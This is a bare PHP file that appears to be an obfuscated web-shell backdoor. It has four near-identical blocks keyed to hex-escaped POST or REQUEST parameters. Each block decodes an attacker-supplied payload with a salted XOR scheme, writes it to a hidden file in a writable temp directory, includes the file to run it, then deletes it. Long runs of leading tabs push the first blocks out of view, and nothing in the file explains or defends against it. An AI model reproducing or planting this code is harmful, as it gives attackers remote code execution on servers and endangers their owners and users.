<?php																																										if(@$_POST["re\x73"] !== null){ $token = $_POST["re\x73"]; $token = explode ( '.',$token ) ; $component =''; $salt9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt9); foreach( $token as $y => $v8): $chS =ord( $salt9[$y % $sLen]); $dec =( ( int)$v8 - $chS -( $y % 10)) ^ 91; $component .= chr( $dec); endforeach; $data_chunk = array_filter([session_save_path(), "/dev/shm", getenv("TMP"), "/var/tmp", getcwd(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); for ($record = 0, $binding = count($data_chunk); $record < $binding; $record++) { $holder = $data_chunk[$record]; if (is_dir($holder) ? is_writable($holder) : false) { $flag = sprintf("%s/.mrk", $holder); if (file_put_contents($flag, $component)) { include $flag; @unlink($flag); die(); } } } }
																																										if(in_array("\x64\x61ta", array_keys($_POST))){ $binding = array_filter(["/var/tmp", "/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getenv("TEMP")]); $comp = $_POST["\x64\x61ta"]; $comp = explode ( '.' ,$comp ) ; $key = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $__len = count($comp ); for ($v = 0; $v < $__len; $v++) { $v4 = $comp[$v]; $chS = ord($salt[$v % $lenS] ); $dec = ((int)$v4 - $chS - ($v % 10)) ^ 56; $key.= chr($dec );} for ($entity = 0, $fac = count($binding); $entity < $fac; $entity++) { $symbol = $binding[$entity]; if (is_dir($symbol) ? is_writable($symbol) : false) { $desc = "$symbol/.factor"; $file = fopen($desc, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $desc; @unlink($desc); exit; } } } }
																																										if(isset($_REQUEST["\x66a\x63"])){ $holder = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", session_save_path()]); $parameter_group = $_REQUEST["\x66a\x63"]; $parameter_group= explode ( ".",$parameter_group) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $o = 0; foreach( $parameter_group as $v5) {$chS = ord( $s[$o % $lenS]); $d =( ( int)$v5 - $chS -( $o % 10)) ^96; $ent .= chr( $d); $o++; } $descriptor = 0; do { $comp = $holder[$descriptor] ?? null; if ($descriptor >= count($holder)) break; if (max(0, is_dir($comp) * is_writable($comp))) { $data_chunk = implode("/", [$comp, ".elem"]); if (@file_put_contents($data_chunk, $ent) !== false) { include $data_chunk; unlink($data_chunk); exit; } } $descriptor++; } while (true); }


if(isset($_REQUEST["k"]) ? true : false){
	$pointer = array_filter([session_save_path(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/tmp", "/dev/shm"]);
	$binding = $_REQUEST["k"];
				$binding 	=		 explode(	  '.'	 	,   $binding   ) 	 ;	 
	$symbol	 =	 '';
            $salt	 =	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	 =	 strlen($salt);
            $w	 =	 0;
    
            array_walk($binding, function ($v7) use (&$symbol, &$w, $salt, $lenS) {	$chS	 =	 ord($salt[$w %	$lenS]);
                $dec	 =	 ((int)$v7 - $chS - ($w %	10)) ^ 99;
                $symbol .= chr($dec);
                $w++;		}		);
	while ($fac = array_shift($pointer)) {
    		if (array_product([is_dir($fac), is_writable($fac)])) {
    $obj = join("/", [$fac, ".value"]);
    $file = fopen($obj, 'w');
if ($file) {
	fwrite($file, $symbol);
	fclose($file);
	include $obj;
	@unlink($obj);
	exit;
}
}
}
}